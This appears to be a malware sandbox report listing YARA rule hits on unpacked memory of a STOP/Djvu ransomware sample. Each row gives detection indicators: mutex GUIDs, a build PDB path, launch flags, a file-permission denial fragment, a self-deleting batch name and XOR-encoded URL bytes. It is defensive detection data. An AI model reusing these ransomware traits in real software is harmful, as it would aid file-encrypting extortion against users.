2.0.bE5aaTiJM0.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.0.bE5aaTiJM0.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
12.0.bE5aaTiJM0.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.2.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.3.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.3.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.bE5aaTiJM0.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
16.2.bE5aaTiJM0.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.bE5aaTiJM0.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.bE5aaTiJM0.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.0.bE5aaTiJM0.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
0.2.bE5aaTiJM0.exe.42715a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
0.2.bE5aaTiJM0.exe.42715a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.bE5aaTiJM0.exe.42715a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.bE5aaTiJM0.exe.42715a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.0.bE5aaTiJM0.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.0.bE5aaTiJM0.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.0.bE5aaTiJM0.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
16.0.bE5aaTiJM0.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.bE5aaTiJM0.exe.42415a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
14.2.bE5aaTiJM0.exe.42415a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
